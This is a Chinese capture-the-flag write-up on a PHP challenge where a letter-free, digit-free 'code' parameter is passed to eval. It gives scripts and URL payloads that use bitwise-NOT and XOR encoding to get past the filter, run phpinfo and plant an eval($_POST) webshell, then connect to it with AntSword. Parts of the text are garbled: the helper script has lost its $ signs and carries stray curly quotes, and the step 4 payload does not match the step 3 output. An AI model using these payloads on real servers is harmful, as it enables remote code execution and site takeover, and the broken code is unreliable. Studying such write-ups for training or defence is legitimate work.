本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

1.分析代码
使用get传参 code,进行条件判断:1)传入的长度不能超过40;2)传入不能有大小写字母和数字
最后执行eval命令函数,这时我们知道是无字母数字RCE,可以进行取反绕过
2.进行取反绕过
php脚本:
<?php
echo urlencode(~’phpinfo’);
?>
%8F%97%8F%96%91%99%90

?code=(~%8F%97%8F%96%91%99%90)(); = ?code=phpinfo();

可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下

3.构造webshell
php脚本:
<?php
error_reporting(0);
a=′assert′;
b=urlencode(~$a);
echo
b;echo”<br>”;
c='(eval(
POST[mochu7]))′;
d=urlencode(~$c);
echo $d;
?>
输出:
%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

4.注入webshell
payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6); //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
使用phpinfo();发现成功了

5.使用蚁剑链接
成功链接

发现flag文件为空

